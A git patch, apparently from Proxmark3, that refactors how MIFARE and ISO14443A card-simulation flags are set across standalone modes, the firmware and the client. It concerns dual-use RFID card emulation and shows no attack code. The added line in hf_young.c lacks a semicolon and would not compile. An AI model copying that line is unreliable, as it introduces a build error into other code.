From 838e0adfa74f16399377135f2e2bc9e1d735f58f Mon Sep 17 00:00:00 2001 From: Philippe Teuwen Date: Sat, 19 Oct 2024 19:01:17 +0200 Subject: [PATCH 001/155] rework Mifare simulation flags --- armsrc/Standalone/hf_aveful.c | 3 +- armsrc/Standalone/hf_cardhopper.c | 2 +- armsrc/Standalone/hf_colin.c | 29 +------ armsrc/Standalone/hf_craftbyte.c | 9 +-- armsrc/Standalone/hf_mattyrun.c | 14 +--- armsrc/Standalone/hf_mfcsim.c | 4 +- armsrc/Standalone/hf_msdsal.c | 3 +- armsrc/Standalone/hf_reblay.c | 3 +- armsrc/Standalone/hf_tcprst.c | 3 +- armsrc/Standalone/hf_young.c | 5 +- armsrc/iso14443a.c | 16 ++-- armsrc/mifaresim.c | 121 +++++++++++++----------------- armsrc/mifaresim.h | 2 +- client/src/cmdhf14a.c | 56 +++++--------- client/src/cmdhfjooki.c | 3 +- client/src/cmdhfmf.c | 46 ++++-------- include/pm3_cmd.h | 81 ++++++++++++++++---- 17 files changed, 185 insertions(+), 215 deletions(-) diff --git a/armsrc/Standalone/hf_aveful.c b/armsrc/Standalone/hf_aveful.c index 1ca06ddb0..039a22601 100644 --- a/armsrc/Standalone/hf_aveful.c +++ b/armsrc/Standalone/hf_aveful.c @@ -248,7 +248,8 @@ void RunMod(void) { state = STATE_SEARCH; } } else if (state == STATE_EMUL) { - uint16_t flags = FLAG_7B_UID_IN_DATA; + uint16_t flags = 0; + FLAG_SET_UID_IN_DATA(flags, 7); Dbprintf("Starting simulation, press " _GREEN_("pm3 button") " to stop and go back to search state."); SimulateIso14443aTag(7, flags, card.uid, 0, NULL); diff --git a/armsrc/Standalone/hf_cardhopper.c b/armsrc/Standalone/hf_cardhopper.c index 68088a72c..f1aef76e6 100644 --- a/armsrc/Standalone/hf_cardhopper.c +++ b/armsrc/Standalone/hf_cardhopper.c @@ -297,7 +297,7 @@ static void prepare_emulation(uint8_t *tagType, uint16_t *flags, uint8_t *data, } memcpy(data, uidRx.dat, uidRx.len); - *flags = (uidRx.len == 10 ? FLAG_10B_UID_IN_DATA : (uidRx.len == 7 ? FLAG_7B_UID_IN_DATA : FLAG_4B_UID_IN_DATA)); + FLAG_SET_UID_IN_DATA(*flags, uidRx.len); DbpString(_CYAN_("[@]") " UID:"); Dbhexdump(uidRx.len, data, false); Dbprintf(_CYAN_("[@]") " Flags: %hu", *flags); diff --git a/armsrc/Standalone/hf_colin.c b/armsrc/Standalone/hf_colin.c index 143f97c4f..ad45cda1a 100644 --- a/armsrc/Standalone/hf_colin.c +++ b/armsrc/Standalone/hf_colin.c @@ -717,33 +717,10 @@ readysim: SpinOff(100); LED_C_ON(); - /* uint16_t flags = 0; - switch (colin_p_card.uidlen) { - case 10: - flags = FLAG_10B_UID_IN_DATA; - break; - case 7: - flags = FLAG_7B_UID_IN_DATA; - break; - case 4: - flags = FLAG_4B_UID_IN_DATA; - break; - default: - flags = FLAG_UID_IN_EMUL; - break; - } - // Use UID, SAK, ATQA from EMUL, if uid not defined - if ((flags & (FLAG_4B_UID_IN_DATA | FLAG_7B_UID_IN_DATA | FLAG_10B_UID_IN_DATA)) == 0) { - flags |= FLAG_UID_IN_EMUL; - } - flags |= FLAG_MF_1K; - if ((flags & (FLAG_4B_UID_IN_DATA | FLAG_7B_UID_IN_DATA | FLAG_10B_UID_IN_DATA)) == 0) { - flags |= FLAG_UID_IN_EMUL; - } - flags = 0x10; - */ - uint16_t flags = FLAG_UID_IN_EMUL; +// FLAG_SET_UID_IN_DATA(flags, colin_p_card.uidlen); + FLAG_SET_UID_IN_EMUL(flags); + FLAG_SET_MF_SIZE(flags, MIFARE_1K_MAX_BYTES); DbprintfEx(FLAG_NEWLINE, "\n\n\n\n\n\n\n\nn\n\nn\n\n\nflags: %d (0x%02x)", flags, flags); cjSetCursLeft(); SpinOff(1000); diff --git a/armsrc/Standalone/hf_craftbyte.c b/armsrc/Standalone/hf_craftbyte.c index 06d032f27..2bc09d9fe 100644 --- a/armsrc/Standalone/hf_craftbyte.c +++ b/armsrc/Standalone/hf_craftbyte.c @@ -79,13 +79,8 @@ void RunMod(void) { } } else if (state == STATE_EMUL) { uint16_t flags = 0; - if (card.uidlen == 4) { - flags |= FLAG_4B_UID_IN_DATA; - } else if (card.uidlen == 7) { - flags |= FLAG_7B_UID_IN_DATA; - } else if (card.uidlen == 10) { - flags |= FLAG_10B_UID_IN_DATA; - } else { + FLAG_SET_UID_IN_DATA(flags, card.uidlen); + if (IS_FLAG_UID_IN_EMUL(flags)) { Dbprintf("Unusual UID length, something is wrong. Try again please."); state = STATE_READ; continue; diff --git a/armsrc/Standalone/hf_mattyrun.c b/armsrc/Standalone/hf_mattyrun.c index c899aefe2..ad1e6b863 100644 --- a/armsrc/Standalone/hf_mattyrun.c +++ b/armsrc/Standalone/hf_mattyrun.c @@ -556,19 +556,7 @@ void RunMod(void) { } uint16_t simflags = 0; - switch (mattyrun_card.uidlen) { - case 4: - simflags |= FLAG_4B_UID_IN_DATA; - break; - case 7: - simflags |= FLAG_7B_UID_IN_DATA; - break; - case 10: - simflags |= FLAG_10B_UID_IN_DATA; - break; - default: - break; - } + FLAG_SET_UID_IN_DATA(simflags, mattyrun_card.uidlen); uint16_t atqa = (uint16_t)bytes_to_num(mattyrun_card.atqa, 2); SpinDelay(1000); diff --git a/armsrc/Standalone/hf_mfcsim.c b/armsrc/Standalone/hf_mfcsim.c index bba01d472..667696f86 100644 --- a/armsrc/Standalone/hf_mfcsim.c +++ b/armsrc/Standalone/hf_mfcsim.c @@ -143,7 +143,9 @@ void RunMod(void) { //Start to simulate Dbprintf(_YELLOW_("[Slot: %d] Simulation start, Press button to change next card."), i); - uint16_t simflags = FLAG_UID_IN_EMUL | FLAG_MF_1K; + uint16_t simflags = 0; + FLAG_SET_MF_SIZE(simflags, MIFARE_1K_MAX_BYTES); + FLAG_SET_UID_IN_EMUL(simflags); Mifare1ksim(simflags, 0, NULL, 0, 0); Dbprintf(_YELLOW_("[Slot: %d] Simulation end, Write Back to dump file!"), i); diff --git a/armsrc/Standalone/hf_msdsal.c b/armsrc/Standalone/hf_msdsal.c index 93848b986..c26ef07de 100644 --- a/armsrc/Standalone/hf_msdsal.c +++ b/armsrc/Standalone/hf_msdsal.c @@ -209,7 +209,8 @@ void RunMod(void) { bool chktoken = false; // UID 4 bytes(could be 7 bytes if needed it) - uint8_t flags = FLAG_4B_UID_IN_DATA; + uint8_t flags = 0; + FLAG_SET_UID_IN_DATA(flags, 4); // in case there is a read command received we shouldn't break uint8_t data[PM3_CMD_DATA_SIZE] = {0x00}; diff --git a/armsrc/Standalone/hf_reblay.c b/armsrc/Standalone/hf_reblay.c index 0655e1d92..d9f60abcf 100644 --- a/armsrc/Standalone/hf_reblay.c +++ b/armsrc/Standalone/hf_reblay.c @@ -81,7 +81,8 @@ void RunMod() { // UID 4 bytes(could be 7 bytes if needed it) - uint8_t flags = FLAG_4B_UID_IN_DATA; + uint8_t flags = 0; + FLAG_SET_UID_IN_DATA(flags, 4); // in case there is a read command received we shouldn't break uint8_t data[PM3_CMD_DATA_SIZE] = {0x00}; diff --git a/armsrc/Standalone/hf_tcprst.c b/armsrc/Standalone/hf_tcprst.c index c07bd1de8..8fb8621b3 100644 --- a/armsrc/Standalone/hf_tcprst.c +++ b/armsrc/Standalone/hf_tcprst.c @@ -110,7 +110,8 @@ void RunMod(void) { #define DYNAMIC_RESPONSE_BUFFER_SIZE 64 #define DYNAMIC_MODULATION_BUFFER_SIZE 512 - uint8_t flags = FLAG_7B_UID_IN_DATA; // ST25TA have 7B UID + uint8_t flags = 0; + FLAG_SET_UID_IN_DATA(flags, 7); // ST25TA have 7B UID uint8_t data[PM3_CMD_DATA_SIZE] = {0x00}; // in case there is a read command received we shouldn't break // to initialize the emulation diff --git a/armsrc/Standalone/hf_young.c b/armsrc/Standalone/hf_young.c index aefc6da71..a887c2bb5 100644 --- a/armsrc/Standalone/hf_young.c +++ b/armsrc/Standalone/hf_young.c @@ -236,7 +236,8 @@ void RunMod(void) { int button_pressed = BUTTON_HELD(1000); if (button_pressed == BUTTON_NO_CLICK) { // No button action, proceed with sim - uint16_t flags = FLAG_4B_UID_IN_DATA; + uint16_t flags = 0 + FLAG_SET_UID_IN_DATA(flags, 4); uint8_t data[PM3_CMD_DATA_SIZE] = {0}; // in case there is a read command received we shouldn't break memcpy(data, uids[selected].uid, uids[selected].uidlen); @@ -244,7 +245,7 @@ void RunMod(void) { uint64_t tmpuid = bytes_to_num(uids[selected].uid, uids[selected].uidlen); if (uids[selected].uidlen == 7) { - flags = FLAG_7B_UID_IN_DATA; + FLAG_SET_UID_IN_DATA(flags, 7); Dbprintf("Simulating ISO14443a tag with uid: %014" PRIx64 " [Bank: %d]", tmpuid, selected); } else { Dbprintf("Simulating ISO14443a tag with uid: %08" PRIx64 " [Bank: %d]", tmpuid, selected); diff --git a/armsrc/iso14443a.c b/armsrc/iso14443a.c index 16ba37c65..0aabc64be 100644 --- a/armsrc/iso14443a.c +++ b/armsrc/iso14443a.c @@ -1263,21 +1263,21 @@ bool SimulateIso14443aInit(uint8_t tagType, uint16_t flags, uint8_t *data, uint8 } // if uid not supplied then get from emulator memory - if ((memcmp(data, "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", 10) == 0) || ((flags & FLAG_UID_IN_EMUL) == FLAG_UID_IN_EMUL)) { + if ((memcmp(data, "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", 10) == 0) || IS_FLAG_UID_IN_EMUL(flags)) { if (tagType == 2 || tagType == 7) { uint16_t start = MFU_DUMP_PREFIX_LENGTH; uint8_t emdata[8]; emlGet(emdata, start, sizeof(emdata)); memcpy(data, emdata, 3); // uid bytes 0-2 memcpy(data + 3, emdata + 4, 4); // uid bytes 3-7 - flags |= FLAG_7B_UID_IN_DATA; + FLAG_SET_UID_IN_DATA(flags, 7); } else { emlGet(data, 0, 4); - flags |= FLAG_4B_UID_IN_DATA; + FLAG_SET_UID_IN_DATA(flags, 4); } } - if ((flags & FLAG_4B_UID_IN_DATA) == FLAG_4B_UID_IN_DATA) { + if (IS_FLAG_UID_IN_DATA(flags, 4)) { rUIDc1[0] = data[0]; rUIDc1[1] = data[1]; rUIDc1[2] = data[2]; @@ -1296,7 +1296,7 @@ bool SimulateIso14443aInit(uint8_t tagType, uint16_t flags, uint8_t *data, uint8 AddCrc14A(rSAKc1, sizeof(rSAKc1) - 2); *cuid = bytes_to_num(data, 4); - } else if ((flags & FLAG_7B_UID_IN_DATA) == FLAG_7B_UID_IN_DATA) { + } else if (IS_FLAG_UID_IN_DATA(flags, 7)) { rUIDc1[0] = MIFARE_SELECT_CT; // Cascade Tag marker rUIDc1[1] = data[0]; rUIDc1[2] = data[1]; @@ -1319,7 +1319,7 @@ bool SimulateIso14443aInit(uint8_t tagType, uint16_t flags, uint8_t *data, uint8 *cuid = bytes_to_num(data + 3, 4); - } else if ((flags & FLAG_10B_UID_IN_DATA) == FLAG_10B_UID_IN_DATA) { + } else if (IS_FLAG_UID_IN_DATA(flags, 10)) { rUIDc1[0] = MIFARE_SELECT_CT; // Cascade Tag marker rUIDc1[1] = data[0]; @@ -2560,7 +2560,7 @@ void iso14443a_antifuzz(uint32_t flags) { resp[0] = 0x04; resp[1] = 0x00; - if ((flags & FLAG_7B_UID_IN_DATA) == FLAG_7B_UID_IN_DATA) { + if (IS_FLAG_UID_IN_DATA(flags, 7)) { resp[0] = 0x44; } @@ -2578,7 +2578,7 @@ void iso14443a_antifuzz(uint32_t flags) { resp[4] = resp[0] ^ resp[1] ^ resp[2] ^ resp[3]; colpos = 0; - if ((flags & FLAG_7B_UID_IN_DATA) == FLAG_7B_UID_IN_DATA) { + if (IS_FLAG_UID_IN_DATA(flags, 7)) { resp[0] = MIFARE_SELECT_CT; colpos = 8; } diff --git a/armsrc/mifaresim.c b/armsrc/mifaresim.c index 6fb3287fa..0d9f99287 100644 --- a/armsrc/mifaresim.c +++ b/armsrc/mifaresim.c @@ -184,8 +184,9 @@ static bool IsAccessAllowed(uint8_t blockNo, uint8_t keytype, uint8_t action) { } } -static bool MifareSimInit(uint16_t flags, uint8_t *datain, uint16_t atqa, uint8_t sak, tag_response_info_t **responses, uint32_t *cuid, uint8_t *uid_len, uint8_t **rats, uint8_t *rats_len) { +static bool MifareSimInit(uint16_t flags, uint8_t *uid, uint16_t atqa, uint8_t sak, tag_response_info_t **responses, uint32_t *cuid, uint8_t *uid_len, uint8_t **rats, uint8_t *rats_len) { + uint8_t uid_tmp[10] = {0}; // SPEC: https://www.nxp.com/docs/en/application-note/AN10833.pdf // ATQA static uint8_t rATQA_Mini[] = {0x04, 0x00}; // indicate Mifare classic Mini 4Byte UID @@ -236,84 +237,79 @@ static bool MifareSimInit(uint16_t flags, uint8_t *datain, uint16_t atqa, uint8_ // Can be set from emulator memory or incoming data // Length: 4,7,or 10 bytes - // Get UID, SAK, ATQA from EMUL - if ((flags & FLAG_UID_IN_EMUL) == FLAG_UID_IN_EMUL) { + if (IS_FLAG_UID_IN_EMUL(flags)) { + if (uid == NULL) { + uid = uid_tmp; + } + // Get UID, SAK, ATQA from EMUL uint8_t block0[16]; emlGet(block0, 0, 16); - - // If uid size defined, copy only uid from EMUL to use, backward compatibility for 'hf_colin.c', 'hf_mattyrun.c' - if ((flags & (FLAG_4B_UID_IN_DATA | FLAG_7B_UID_IN_DATA | FLAG_10B_UID_IN_DATA)) != 0) { - memcpy(datain, block0, 10); // load 10bytes from EMUL to the datain pointer. to be used below. - } else { - // Check for 4 bytes uid: bcc corrected and single size uid bits in ATQA - if ((block0[0] ^ block0[1] ^ block0[2] ^ block0[3]) == block0[4] && (block0[6] & 0xc0) == 0) { - flags |= FLAG_4B_UID_IN_DATA; - memcpy(datain, block0, 4); - rSAK[0] = block0[5]; - memcpy(rATQA, &block0[6], sizeof(rATQA)); - } - // Check for 7 bytes UID: double size uid bits in ATQA - else if ((block0[8] & 0xc0) == 0x40) { - flags |= FLAG_7B_UID_IN_DATA; - memcpy(datain, block0, 7); - rSAK[0] = block0[7]; - memcpy(rATQA, &block0[8], sizeof(rATQA)); - } else { - Dbprintf("ERROR: " _RED_("Invalid dump. UID/SAK/ATQA not found")); - return false; - } + // Check for 4 bytes uid: bcc corrected and single size uid bits in ATQA + if ((block0[0] ^ block0[1] ^ block0[2] ^ block0[3]) == block0[4] && (block0[6] & 0xc0) == 0) { + FLAG_SET_UID_IN_DATA(flags, 4); + memcpy(uid, block0, 4); + rSAK[0] = block0[5]; + memcpy(rATQA, &block0[6], sizeof(rATQA)); + } + // Check for 7 bytes UID: double size uid bits in ATQA + else if ((block0[8] & 0xc0) == 0x40) { + FLAG_SET_UID_IN_DATA(flags, 7); + memcpy(uid, block0, 7); + rSAK[0] = block0[7]; + memcpy(rATQA, &block0[8], sizeof(rATQA)); + } else { + Dbprintf("ERROR: " _RED_("Invalid dump. UID/SAK/ATQA not found")); + return false; + } + } else { + if (uid == NULL) { + Dbprintf("ERROR: " _RED_("Missing UID")); + return false; } - } // Tune tag type, if defined directly // Otherwise use defined by default or extracted from EMUL - if ((flags & FLAG_MF_MINI) == FLAG_MF_MINI) { + if (IS_FLAG_MF_SIZE(flags, MIFARE_MINI_MAX_BYTES)) { memcpy(rATQA, rATQA_Mini, sizeof(rATQA)); rSAK[0] = rSAK_Mini; if (g_dbglevel > DBG_NONE) Dbprintf("Enforcing Mifare Mini ATQA/SAK"); - } else if ((flags & FLAG_MF_1K) == FLAG_MF_1K) { + } else if (IS_FLAG_MF_SIZE(flags, MIFARE_1K_MAX_BYTES)) { memcpy(rATQA, rATQA_1k, sizeof(rATQA)); rSAK[0] = rSAK_1k; if (g_dbglevel > DBG_NONE) Dbprintf("Enforcing Mifare 1K ATQA/SAK"); - } else if ((flags & FLAG_MF_2K) == FLAG_MF_2K) { + } else if (IS_FLAG_MF_SIZE(flags, MIFARE_2K_MAX_BYTES)) { memcpy(rATQA, rATQA_2k, sizeof(rATQA)); rSAK[0] = rSAK_2k; *rats = rRATS; *rats_len = sizeof(rRATS); if (g_dbglevel > DBG_NONE) Dbprintf("Enforcing Mifare 2K ATQA/SAK with RATS support"); - } else if ((flags & FLAG_MF_4K) == FLAG_MF_4K) { + } else if (IS_FLAG_MF_SIZE(flags, MIFARE_4K_MAX_BYTES)) { memcpy(rATQA, rATQA_4k, sizeof(rATQA)); rSAK[0] = rSAK_4k; if (g_dbglevel > DBG_NONE) Dbprintf("Enforcing Mifare 4K ATQA/SAK"); } // Prepare UID arrays - if ((flags & FLAG_4B_UID_IN_DATA) == FLAG_4B_UID_IN_DATA) { // get UID from datain - memcpy(rUIDBCC1, datain, 4); + if (IS_FLAG_UID_IN_DATA(flags, 4)) { + memcpy(rUIDBCC1, uid, 4); *uid_len = 4; - if (g_dbglevel >= DBG_EXTENDED) - Dbprintf("MifareSimInit - FLAG_4B_UID_IN_DATA => Get UID from datain: %02X - Flag: %02X - UIDBCC1: %02X", FLAG_4B_UID_IN_DATA, flags, rUIDBCC1); - - // save CUID *cuid = bytes_to_num(rUIDBCC1, 4); // BCC rUIDBCC1[4] = rUIDBCC1[0] ^ rUIDBCC1[1] ^ rUIDBCC1[2] ^ rUIDBCC1[3]; + if (g_dbglevel >= DBG_EXTENDED) + Dbprintf("MifareSimInit - Flags: %04X - BCC1: %02X", flags, rUIDBCC1[4]); if (g_dbglevel > DBG_NONE) { Dbprintf("4B UID: %02x%02x%02x%02x", rUIDBCC1[0], rUIDBCC1[1], rUIDBCC1[2], rUIDBCC1[3]); } // Correct uid size bits in ATQA rATQA[0] = (rATQA[0] & 0x3f); // single size uid - - } else if ((flags & FLAG_7B_UID_IN_DATA) == FLAG_7B_UID_IN_DATA) { - memcpy(&rUIDBCC1[1], datain, 3); - memcpy(rUIDBCC2, datain + 3, 4); + } else if (IS_FLAG_UID_IN_DATA(flags, 7)) { + memcpy(&rUIDBCC1[1], uid, 3); + memcpy(rUIDBCC2, uid + 3, 4); *uid_len = 7; - if (g_dbglevel >= DBG_EXTENDED) - Dbprintf("MifareSimInit - FLAG_7B_UID_IN_DATA => Get UID from datain: %02X - Flag: %02X - UIDBCC1: %02X", FLAG_7B_UID_IN_DATA, flags, rUIDBCC1); - // save CUID *cuid = bytes_to_num(rUIDBCC2, 4); // CascadeTag, CT @@ -321,6 +317,8 @@ static bool MifareSimInit(uint16_t flags, uint8_t *datain, uint16_t atqa, uint8_ // BCC rUIDBCC1[4] = rUIDBCC1[0] ^ rUIDBCC1[1] ^ rUIDBCC1[2] ^ rUIDBCC1[3]; rUIDBCC2[4] = rUIDBCC2[0] ^ rUIDBCC2[1] ^ rUIDBCC2[2] ^ rUIDBCC2[3]; + if (g_dbglevel >= DBG_EXTENDED) + Dbprintf("MifareSimInit - Flags: %04X - BCC1: %02X - BCC2: %02X", flags, rUIDBCC1[4], rUIDBCC2[4]); if (g_dbglevel > DBG_NONE) { Dbprintf("7B UID: %02x %02x %02x %02x %02x %02x %02x", rUIDBCC1[1], rUIDBCC1[2], rUIDBCC1[3], rUIDBCC2[0], rUIDBCC2[1], rUIDBCC2[2], rUIDBCC2[3]); @@ -328,15 +326,11 @@ static bool MifareSimInit(uint16_t flags, uint8_t *datain, uint16_t atqa, uint8_ // Correct uid size bits in ATQA rATQA[0] = (rATQA[0] & 0x3f) | 0x40; // double size uid - - } else if ((flags & FLAG_10B_UID_IN_DATA) == FLAG_10B_UID_IN_DATA) { - memcpy(&rUIDBCC1[1], datain, 3); - memcpy(&rUIDBCC2[1], datain + 3, 3); - memcpy(rUIDBCC3, datain + 6, 4); + } else if (IS_FLAG_UID_IN_DATA(flags, 10)) { + memcpy(&rUIDBCC1[1], uid, 3); + memcpy(&rUIDBCC2[1], uid + 3, 3); + memcpy(rUIDBCC3, uid + 6, 4); *uid_len = 10; - if (g_dbglevel >= DBG_EXTENDED) - Dbprintf("MifareSimInit - FLAG_10B_UID_IN_DATA => Get UID from datain: %02X - Flag: %02X - UIDBCC1: %02X", FLAG_10B_UID_IN_DATA, flags, rUIDBCC1); - // save CUID *cuid = bytes_to_num(rUIDBCC3, 4); // CascadeTag, CT @@ -346,7 +340,8 @@ static bool MifareSimInit(uint16_t flags, uint8_t *datain, uint16_t atqa, uint8_ rUIDBCC1[4] = rUIDBCC1[0] ^ rUIDBCC1[1] ^ rUIDBCC1[2] ^ rUIDBCC1[3]; rUIDBCC2[4] = rUIDBCC2[0] ^ rUIDBCC2[1] ^ rUIDBCC2[2] ^ rUIDBCC2[3]; rUIDBCC3[4] = rUIDBCC3[0] ^ rUIDBCC3[1] ^ rUIDBCC3[2] ^ rUIDBCC3[3]; - + if (g_dbglevel >= DBG_EXTENDED) + Dbprintf("MifareSimInit - Flags: %04X - BCC1: %02X - BCC2: %02X - BCC3: %02X", flags, rUIDBCC1[4], rUIDBCC2[4], rUIDBCC3[4]); if (g_dbglevel > DBG_NONE) { Dbprintf("10B UID: %02x %02x %02x %02x %02x %02x %02x %02x %02x %02x", rUIDBCC1[1], rUIDBCC1[2], rUIDBCC1[3], @@ -361,11 +356,11 @@ static bool MifareSimInit(uint16_t flags, uint8_t *datain, uint16_t atqa, uint8_ Dbprintf("ERROR: " _RED_("UID size not defined")); return false; } - if (flags & FLAG_FORCED_ATQA) { + if (flags & FLAG_ATQA_IN_DATA) { rATQA[0] = atqa >> 8; rATQA[1] = atqa & 0xff; } - if (flags & FLAG_FORCED_SAK) { + if (flags & FLAG_SAK_IN_DATA) { rSAK[0] = sak; } if (g_dbglevel > DBG_NONE) { @@ -454,17 +449,11 @@ static bool MifareSimInit(uint16_t flags, uint8_t *datain, uint16_t atqa, uint8_ /** *MIFARE 1K simulate. * -*@param flags : -* FLAG_INTERACTIVE - In interactive mode, we are expected to finish the operation with an ACK -* FLAG_4B_UID_IN_DATA - means that there is a 4-byte UID in the data-section, we're expected to use that -* FLAG_7B_UID_IN_DATA - means that there is a 7-byte UID in the data-section, we're expected to use that -* FLAG_10B_UID_IN_DATA - use 10-byte UID in the data-section not finished -* FLAG_NR_AR_ATTACK - means we should collect NR_AR responses for bruteforcing later -* FLAG_NESTED_AUTH_ATTACK - means that we support nested authentication attack +*@param flags: See pm3_cmd.h for the full definitions *@param exitAfterNReads, exit simulation after n blocks have been read, 0 is infinite ... * (unless reader attack mode enabled then it runs util it gets enough nonces to recover all keys attempted) */ -void Mifare1ksim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *datain, uint16_t atqa, uint8_t sak) { +void Mifare1ksim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *uid, uint16_t atqa, uint8_t sak) { tag_response_info_t *responses; uint8_t cardSTATE = MFEMUL_NOFIELD; uint8_t uid_len = 0; // 4, 7, 10 @@ -498,12 +487,6 @@ void Mifare1ksim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *datain, uint1 uint8_t rats_len = 0; - // if fct is called with NULL we need to assign some memory since this pointer is passed around - uint8_t datain_tmp[10] = {0}; - if (datain == NULL) { - datain = datain_tmp; - } - //Here, we collect UID,sector,keytype,NT,AR,NR,NT2,AR2,NR2 // This will be used in the reader-only attack. @@ -522,7 +505,7 @@ void Mifare1ksim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *datain, uint1 // free eventually allocated BigBuf memory but keep Emulator Memory BigBuf_free_keep_EM(); - if (MifareSimInit(flags, datain, atqa, sak, &responses, &cuid, &uid_len, &rats, &rats_len) == false) { + if (MifareSimInit(flags, uid, atqa, sak, &responses, &cuid, &uid_len, &rats, &rats_len) == false) { BigBuf_free_keep_EM(); return; } diff --git a/armsrc/mifaresim.h b/armsrc/mifaresim.h index b22659df6..575ec1d83 100644 --- a/armsrc/mifaresim.h +++ b/armsrc/mifaresim.h @@ -41,6 +41,6 @@ #define AUTHKEYB 1 #define AUTHKEYNONE 0xff -void Mifare1ksim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *datain, uint16_t atqa, uint8_t sak); +void Mifare1ksim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *uid, uint16_t atqa, uint8_t sak); #endif diff --git a/client/src/cmdhf14a.c b/client/src/cmdhf14a.c index a662710a0..3d8d50626 100644 --- a/client/src/cmdhf14a.c +++ b/client/src/cmdhf14a.c @@ -830,20 +830,11 @@ int CmdHF14ASim(const char *Cmd) { bool useUIDfromEML = true; if (uid_len > 0) { - switch (uid_len) { - case 10: - flags |= FLAG_10B_UID_IN_DATA; - break; - case 7: - flags |= FLAG_7B_UID_IN_DATA; - break; - case 4: - flags |= FLAG_4B_UID_IN_DATA; - break; - default: - PrintAndLogEx(ERR, "Please specify a 4, 7, or 10 byte UID"); - CLIParserFree(ctx); - return PM3_EINVARG; + FLAG_SET_UID_IN_DATA(flags, uid_len); + if (IS_FLAG_UID_IN_EMUL(flags)) { + PrintAndLogEx(ERR, "Please specify a 4, 7, or 10 byte UID"); + CLIParserFree(ctx); + return PM3_EINVARG; } PrintAndLogEx(SUCCESS, "Emulating " _YELLOW_("ISO/IEC 14443 type A tag")" with " _GREEN_("%d byte UID (%s)"), uid_len, sprint_hex(uid, uid_len)); useUIDfromEML = false; @@ -866,7 +857,7 @@ int CmdHF14ASim(const char *Cmd) { } if (useUIDfromEML) { - flags |= FLAG_UID_IN_EMUL; + FLAG_SET_UID_IN_EMUL(flags); } struct { @@ -1660,12 +1651,14 @@ static int CmdHF14AAntiFuzz(const char *Cmd) { struct { uint8_t flag; } PACKED param; - param.flag = FLAG_4B_UID_IN_DATA; - - if (arg_get_lit(ctx, 2)) - param.flag = FLAG_7B_UID_IN_DATA; - if (arg_get_lit(ctx, 3)) - param.flag = FLAG_10B_UID_IN_DATA; + param.flag = 0; + FLAG_SET_UID_IN_DATA(param.flag, 4); + if (arg_get_lit(ctx, 2)) { + FLAG_SET_UID_IN_DATA(param.flag, 7); + } + if (arg_get_lit(ctx, 3)) { + FLAG_SET_UID_IN_DATA(param.flag, 10); + } CLIParserFree(ctx); clearCommandBuffer(); @@ -3725,20 +3718,11 @@ int CmdHF14AAIDSim(const char *Cmd) { bool useUIDfromEML = true; if (uid_len > 0) { - switch (uid_len) { - case 10: - flags |= FLAG_10B_UID_IN_DATA; - break; - case 7: - flags |= FLAG_7B_UID_IN_DATA; - break; - case 4: - flags |= FLAG_4B_UID_IN_DATA; - break; - default: - PrintAndLogEx(ERR, "Please specify a 4, 7, or 10 byte UID"); - CLIParserFree(ctx); - return PM3_EINVARG; + FLAG_SET_UID_IN_DATA(flags, uid_len); + if (IS_FLAG_UID_IN_EMUL(flags)) { + PrintAndLogEx(ERR, "Please specify a 4, 7, or 10 byte UID"); + CLIParserFree(ctx); + return PM3_EINVARG; } PrintAndLogEx(SUCCESS, "Emulating " _YELLOW_("ISO/IEC 14443 type A tag")" with " _GREEN_("%d byte UID (%s)"), uid_len, sprint_hex(uid, uid_len)); useUIDfromEML = false; @@ -3757,7 +3741,7 @@ int CmdHF14AAIDSim(const char *Cmd) { } if (useUIDfromEML) { - flags |= FLAG_UID_IN_EMUL; + FLAG_SET_UID_IN_EMUL(flags); } struct { diff --git a/client/src/cmdhfjooki.c b/client/src/cmdhfjooki.c index 4e6cea649..b0126ff77 100644 --- a/client/src/cmdhfjooki.c +++ b/client/src/cmdhfjooki.c @@ -565,7 +565,8 @@ static int CmdHF14AJookiSim(const char *Cmd) { // NTAG, 7 byte UID in eloaded data. payload.tagtype = 7; - payload.flags = FLAG_UID_IN_EMUL; + payload.flags = 0; + FLAG_SET_UID_IN_EMUL(payload.flags); payload.exitAfter = 0; memcpy(payload.uid, uid, sizeof(uid)); diff --git a/client/src/cmdhfmf.c b/client/src/cmdhfmf.c index 10c4efc00..b275b847f 100644 --- a/client/src/cmdhfmf.c +++ b/client/src/cmdhfmf.c @@ -4129,25 +4129,15 @@ static int CmdHF14AMfSim(const char *Cmd) { uint8_t uid[10] = {0}; CLIGetHexWithReturn(ctx, 1, uid, &uidlen); - char uidsize[8] = {0}; + char uidsize[9] = {0}; if (uidlen > 0) { - switch (uidlen) { - case 10: - flags |= FLAG_10B_UID_IN_DATA; - snprintf(uidsize, sizeof(uidsize), "10 byte"); - break; - case 7: - flags |= FLAG_7B_UID_IN_DATA; - snprintf(uidsize, sizeof(uidsize), "7 byte"); - break; - case 4: - flags |= FLAG_4B_UID_IN_DATA; - snprintf(uidsize, sizeof(uidsize), "4 byte"); - break; - default: - PrintAndLogEx(WARNING, "Invalid parameter for UID"); - CLIParserFree(ctx); - return PM3_EINVARG; + FLAG_SET_UID_IN_DATA(flags, uidlen); + if (IS_FLAG_UID_IN_EMUL(flags)) { + PrintAndLogEx(WARNING, "Invalid parameter for UID"); + CLIParserFree(ctx); + return PM3_EINVARG; + } else { + snprintf(uidsize, sizeof(uidsize), "%i bytes", uidlen); } } @@ -4193,7 +4183,7 @@ static int CmdHF14AMfSim(const char *Cmd) { PrintAndLogEx(WARNING, "Wrong ATQA length"); return PM3_EINVARG; } - flags |= FLAG_FORCED_ATQA; + flags |= FLAG_ATQA_IN_DATA; } if (saklen > 0) { @@ -4201,12 +4191,7 @@ static int CmdHF14AMfSim(const char *Cmd) { PrintAndLogEx(WARNING, "Wrong SAK length"); return PM3_EINVARG; } - flags |= FLAG_FORCED_SAK; - } - - // Use UID, SAK, ATQA from EMUL, if uid not defined - if ((flags & (FLAG_4B_UID_IN_DATA | FLAG_7B_UID_IN_DATA | FLAG_10B_UID_IN_DATA)) == 0) { - flags |= FLAG_UID_IN_EMUL; + flags |= FLAG_SAK_IN_DATA; } size_t k_sectors_cnt = MIFARE_4K_MAXSECTOR; @@ -4218,19 +4203,19 @@ static int CmdHF14AMfSim(const char *Cmd) { } if (m0) { - flags |= FLAG_MF_MINI; + 